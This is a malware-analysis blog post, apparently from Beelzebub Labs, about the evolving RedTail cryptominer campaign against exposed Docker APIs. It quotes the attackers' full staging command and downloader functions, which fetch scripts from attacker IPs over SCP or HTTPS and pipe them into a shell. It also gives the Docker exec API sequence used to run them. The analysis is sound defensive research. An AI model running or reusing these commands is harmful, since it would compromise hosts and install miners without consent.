- Threat Intelligence
- Malware Analysis
- Redtail
RedTail Docker API Campaign Evolves: SSH-Based Payload Delivery
A June 2026 Beelzebub honeypot capture shows the RedTail Docker API campaign has evolved: the staging command now embeds an OpenSSH private key and uses SCP as the primary payload retrieval method, falling back to HTTPS. The updated Bash payloads keep the docker.selfrep miner deployment seen in November 2025 while adding new downloader logic and filename-generation fallbacks.
Marco Pedrinazzi
Cybersecurity Researcher
TL;DR In November 2025, research by Mario Candela at Beelzebub Labs reported what appeared to be the first documented public evidence of RedTail targeting exposed Docker APIs on port 2375. A Beelzebub honeypot capture from June 2026 provides evidence that the campaign has continued to evolve. The command executed inside the container now includes an OpenSSH private key and SSH configuration, uses SCP as the primary retrieval method, and falls back to HTTPS. The capture also shows payload changes, including two closely related Bash variants with updated downloader logic and additional filename-generation fallbacks, while retaining the docker.selfrep argument and the miner deployment behavior observed in November. These changes show that the actors behind RedTail remain active and continue to update their delivery techniques and payload tooling.
Introduction
In November 2025, research by Mario Candela at Beelzebub Labs reported what appeared to be the first documented public evidence of RedTail cryptominer activity targeting exposed Docker APIs on port 2375. Earlier public reporting about RedTail had focused on the exploitation of web applications, IoT devices, VPNs, and network appliances.
In June 2026, a Beelzebub honeypot recorded further RedTail activity against an exposed Docker API, revealing changes in both the command executed inside the container and the payloads it retrieved.
The activity retained the distinctive libredtail-http user agent and the docker.selfrep argument observed in November, connecting the two captures. These changes provide evidence that the actors behind RedTail remain active and continue to update their delivery techniques and payload tooling.
This article analyzes the full delivery chain captured in June 2026, from container enumeration and exec creation to detached execution, along with the command run inside the container and the payloads it retrieves.
Delivery Chain Analysis
The sequence below is a representative example of the delivery chain, taken from the earliest activity observed on June 10, 2026. The same pattern was also recorded from other source IPs in the dataset.
At 04:13:07 UTC, the source IP 47.77.182.54 sent a request to enumerate running containers through the exposed Docker API:
GET /containers/json
The response returned the list of running containers.
At 04:13:08 UTC, the same source issued exec-create requests against the discovered containers:
POST /containers/<redacted-container-id>/exec
Each request contained the same RedTail staging command.
The following event shows one example. The embedded private key, target host and container ID have been replaced with placeholders.
{
"DateTime": "2026-06-10T04:13:08Z",
"SourceIP": "47.77.182.54",
"Protocol": "HTTP",
"UserAgent": "libredtail-http",
"HostHTTPRequest": "<redacted-host>:2375",
"HTTPMethod": "POST",
"RequestURI": "/containers/<redacted-container-id>/exec",
"Body": {
"AttachStdout": false,
"AttachStderr": false,
"Cmd": [
"sh",
"-c",
"cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----\n<REDACTED>\n-----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no\nUserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -F sshcfg -i key.ppk dlr@217.60.195.113:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh docker.selfrep; else (wget --no-check-certificate -qO- https://14.46.136.77/sh || curl -sk https://14.46.136.77/sh) | sh -s docker.selfrep; fi; rm -rf sshcfg key.ppk out_sh"
]
}
}
The request instructs Docker to create an exec instance that runs:
sh -c "<staging command>"
Standard output and standard error attachment are disabled:
{
"AttachStdout": false,
"AttachStderr": false
}
The staging command begins by moving into one of three common writable temporary directories:
cd /tmp || cd /var/tmp || cd /dev/shm
The staging command writes an OpenSSH private key into the container and creates a temporary SSH client configuration:
echo '<REDACTED OPENSSH PRIVATE KEY>' > key.ppk
echo 'StrictHostKeyChecking no
UserKnownHostsFile /dev/null' > sshcfg
chmod 400 key.ppk
The SSH configuration disables host key verification and prevents host information from being stored in a known-hosts file. These settings allow the SCP command to run without waiting for host-verification input.
The private key is assigned 400 permissions because OpenSSH rejects private keys that are accessible by other users.
The primary retrieval path uses SCP:
scp -F sshcfg -i key.ppk dlr@217.60.195.113:sh out_sh
This command authenticates to 217.60.195.113 as the user dlr, retrieves the remote file sh, and saves it inside the container as out_sh.
If the SCP transfer succeeds, the staging command marks the downloaded script as executable and launches it with docker.selfrep:
chmod +x out_sh
sh out_sh docker.selfrep
If SCP fails, the staging command retrieves a related script over HTTPS:
(wget --no-check-certificate -qO- https://14.46.136.77/sh || curl -sk https://14.46.136.77/sh) | sh -s docker.selfrep
The fallback first tries wget and then curl. Both commands disable TLS certificate verification. The downloaded script is streamed directly into sh with docker.selfrep as its argument.
After the selected script finishes, the staging command removes the temporary SSH files and the locally saved out_sh script:
rm -rf sshcfg key.ppk out_sh
The same source then sent requests to the Docker exec-start endpoint:
POST /exec/<redacted-exec-id>/start
The first start request was recorded at 04:13:08 UTC, followed by additional start requests at 04:13:09 UTC. Each request used:
{
"Detach": true,
"Tty": false
}
This starts the exec instance in detached mode without allocating a TTY. The staging command then runs inside the selected container.
The representative sequence can be summarized as follows:
| Time (UTC) | Docker API call | Action |
|---|---|---|
04:13:07 | GET /containers/json | Enumerate and retrieve the running container inventory |
04:13:08 | POST /containers/<container-id>/exec | Create an exec instance containing the staging command |
04:13:08–04:13:09 | POST /exec/<exec-id>/start | Run the staging command inside the target container |
Once started, the staging command executes the following steps inside the container:
- Move into a writable directory (
/tmp,/var/tmp, or/dev/shm). - Write the
key.ppkprivate key and thesshcfgSSH configuration. - Attempt to retrieve the payload over SCP from
217.60.195.113.- On success: execute
out_sh docker.selfrep. - On failure: fetch
https://14.46.136.77/shand execute the HTTPS variant withdocker.selfrep.
- On success: execute
- Remove
sshcfg,key.ppk, andout_shto clean up artifacts.
This sequence was repeated across activity from multiple source IPs in the dataset.
Payload Analysis
The staging command can execute two closely related Bash payload variants. The SCP path saves the remote script as out_sh, while the HTTPS fallback streams a related sh variant directly into the shell.
Both receive the docker.selfrep argument and share the same deployment logic. Their main difference is the downloader logic used to retrieve clean and the miner binaries.
Randomized Hidden Filename
Both scripts generate a hidden filename for the miner:
FILENAME=".$(get_random_string)"
The random-name function tries openssl, /dev/urandom, and Bash’s $RANDOM. If these methods fail, it uses the static value redtail.
Downloader Logic
The main difference between the two payload variants is the dlr() function.
The SCP-delivered out_sh variant tries SCP first and falls back to HTTPS if the transfer fails:
dlr() {
rm -rf $1
scp -F sshcfg -i key.ppk dlr@217.60.195.113:$1 $1
if [ $? -ne 0 ]; then
wget --no-check-certificate -q https://14.46.136.77/$1 ||
curl -skO https://14.46.136.77/$1
fi
}
The HTTPS-delivered sh variant uses only wget or curl:
dlr() {
rm -rf $1
wget --no-check-certificate -q https://14.46.136.77/$1 ||
curl -skO https://14.46.136.77/$1
}
Both variants use this function to retrieve the clean component and the architecture-specific miner binaries.
Working Directory Selection
Both scripts search for a suitable working directory. The process:
- looks for directories owned by the current user with read, write, and execute permissions.
- excludes paths on filesystems mounted with
noexecfrom the initial search. - excludes directories below
/procand/tmp. - adds
/tmp,/var/tmp, and/dev/shmas additional candidates. - tests each directory by creating a temporary file and allocating a 2 MB file with
ddortruncate. - selects the first directory that passes these checks.
The out_sh variant also moves key.ppk and sshcfg from /tmp into the selected directory, then applies 400 permissions to key.ppk so it remains usable by the SCP downloader.
cleanScript
Before downloading the miner, both variants retrieve and execute a script named clean:
dlr clean
chmod +x clean
sh clean >/dev/null 2>&1
rm -rf clean
rm -rf .redtail
rm -rf $FILENAME
As described in the earlier Beelzebub research, the clean component likely:
- terminates competing cryptominers.
- removes other attackers’ malware.
- frees CPU resources.
After execution, the script removes clean, deletes any existing .redtail file, and clears any file matching the newly generated hidden filename.
Multi-Architecture Deployment
Both scripts detect the system architecture with:
ARCH=$(uname -mp)
They select one of four miner binaries:
x86_64forx86_64andamd64.i686fori386,i486,i586, andi686.aarch64forarmv8andaarch64.arm7forarmv7.
For a recognized architecture, the script uses dlr() to download the matching binary, renames it with the randomized hidden filename, marks it executable, and launches it with the argument received from the staging command:
chmod +x $FILENAME
./$FILENAME $1 >/dev/null 2>&1
In this capture, $1 contains docker.selfrep.
If the architecture is not recognized, the script downloads and attempts to execute x86_64, i686, aarch64, and arm7 in sequence.
After execution, the out_sh variant also removes sshcfg and key.ppk.
Comparison with the November 2025 Beelzebub Capture
The November 2025 capture used a direct HTTP-based staging command:
cd /tmp || cd /var/tmp; curl http://178.16.55.224/sh -o redtail.sh || wget http://178.16.55.224/sh -O redtail.sh; chmod +x redtail.sh; ./redtail.sh docker.selfrep; rm -rf redtail.sh
The command downloaded sh from 178.16.55.224, saved it as redtail.sh, executed it with docker.selfrep, and removed the script afterward.
The June 2026 command uses SCP as the primary retrieval method. It writes an OpenSSH private key and SSH configuration into the container, retrieves sh from 217.60.195.113, and saves it as out_sh. If SCP fails, it retrieves a related script over HTTPS from 14.46.136.77.
The payload logic remains similar across both captures. The main payload change is the downloader: the November script used wget, curl, and a /dev/tcp fallback. The June out_sh variant uses SCP first and HTTPS as a fallback, while the June sh variant uses HTTPS through wget or curl.
The June scripts also include /dev/urandom, $RANDOM, and the static value redtail as filename-generation fallbacks. These methods were not documented in the November research.
Indicators of Compromise
Observed Source IPs
101.36.104.242109.236.50.3157.245.118.253212.22.85.23747.77.182.5447.79.37.11768.183.234.194
Payload Staging Infrastructure
| Indicator | Role |
|---|---|
217.60.195.113 | SCP staging server |
14.46.136.77 | HTTPS server |
Conclusions
This new capture confirms that the RedTail operators are actively refining their Docker API attack chain rather than treating it as a one-off experiment. Since our first observation in November 2025, the staging command has evolved from a simple HTTP download into a multi-stage routine that ships an OpenSSH private key and configuration into the container and prefers SCP retrieval, with HTTPS kept only as a fallback.
The shift toward SCP-based delivery and the additional filename-generation fallbacks point to an operation that is iterating on resilience and detection evasion while keeping its core mining payload stable. Exposed Docker APIs remain a high-value, under-monitored target, and this campaign shows the cost of leaving them reachable from the internet. 🚨
This is the latest entry in our ongoing series dedicated to malware analysis. The Beelzebub community continues its commitment to making the internet a safer place. ❤️